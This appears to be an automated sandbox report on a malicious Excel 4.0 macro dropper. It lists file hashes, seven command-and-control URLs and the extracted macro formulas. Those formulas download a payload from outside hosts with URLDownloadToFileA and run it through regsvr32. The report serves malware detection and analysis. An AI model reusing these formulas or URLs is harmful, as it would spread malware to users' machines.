General

  • Target

    1e349c2e279ea435493d4e1943a302b65da78d0738c1ddcdb479063094d096ab

  • Size

    50KB

  • Sample

    241120-17a6ysvkcv

  • MD5

    ec502a6731fe5f190493ac099283a799

  • SHA1

    457ffb139bb1e4e173e4c8dca4d4962760fd387d

  • SHA256

    1e349c2e279ea435493d4e1943a302b65da78d0738c1ddcdb479063094d096ab

  • SHA512

    f7cdc56d589600bbf235c9cfc41b6efd6cec54803ad2a510364c52c822a0ba8a5d5453f07eceef422a9b2552305afbe1b5c84f7f95b3a3bb785758c0cfb1dcfe

  • SSDEEP

    768:Hx9D9onsXslSQHAamYDSmPq9A3Bj9DLC+9uSEcmQThnuG3KA0P4F:HXD9okncDSmSIBlGeuSEcm2h0BPu

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

http://centrobilinguelospinos.com/wp-admin/VrgzWT/

http://boardingschoolsoftware.com/backup/CtMR5Yi/

http://bsa.iain-jember.ac.id/asset/x0hMwOPVpkQSNoS8WCN/

http://ctha.uy/cgi-bin/zGhvZLq6kSV1L1Vi/

https://descontador.com.br/css/q5nrG6ua/

http://letea.eu/wp-content/3GgF4miFZTq9/

http://quoctoan.c1.biz/wp-admin/j8Zu/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://centrobilinguelospinos.com/wp-admin/VrgzWT/","..\en.ocx",0,0) =IF('DEFGW'!G9<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://boardingschoolsoftware.com/backup/CtMR5Yi/","..\en.ocx",0,0)) =IF('DEFGW'!G11<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://bsa.iain-jember.ac.id/asset/x0hMwOPVpkQSNoS8WCN/","..\en.ocx",0,0)) =IF('DEFGW'!G13<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://ctha.uy/cgi-bin/zGhvZLq6kSV1L1Vi/","..\en.ocx",0,0)) =IF('DEFGW'!G15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://descontador.com.br/css/q5nrG6ua/","..\en.ocx",0,0)) =IF('DEFGW'!G17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://letea.eu/wp-content/3GgF4miFZTq9/","..\en.ocx",0,0)) =IF('DEFGW'!G19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://quoctoan.c1.biz/wp-admin/j8Zu/","..\en.ocx",0,0)) =IF('DEFGW'!G21<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\en.ocx") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

http://centrobilinguelospinos.com/wp-admin/VrgzWT/

xlm40.dropper

http://boardingschoolsoftware.com/backup/CtMR5Yi/

xlm40.dropper

http://bsa.iain-jember.ac.id/asset/x0hMwOPVpkQSNoS8WCN/

xlm40.dropper

http://ctha.uy/cgi-bin/zGhvZLq6kSV1L1Vi/

xlm40.dropper

https://descontador.com.br/css/q5nrG6ua/

xlm40.dropper

http://letea.eu/wp-content/3GgF4miFZTq9/

xlm40.dropper

http://quoctoan.c1.biz/wp-admin/j8Zu/

Targets

    • Target

      1e349c2e279ea435493d4e1943a302b65da78d0738c1ddcdb479063094d096ab

    • Size

      50KB

    • MD5

      ec502a6731fe5f190493ac099283a799

    • SHA1

      457ffb139bb1e4e173e4c8dca4d4962760fd387d

    • SHA256

      1e349c2e279ea435493d4e1943a302b65da78d0738c1ddcdb479063094d096ab

    • SHA512

      f7cdc56d589600bbf235c9cfc41b6efd6cec54803ad2a510364c52c822a0ba8a5d5453f07eceef422a9b2552305afbe1b5c84f7f95b3a3bb785758c0cfb1dcfe

    • SSDEEP

      768:Hx9D9onsXslSQHAamYDSmPq9A3Bj9DLC+9uSEcmQThnuG3KA0P4F:HXD9okncDSmSIBlGeuSEcm2h0BPu

    Score
    10/10

MITRE ATT&CK Enterprise v15

Tasks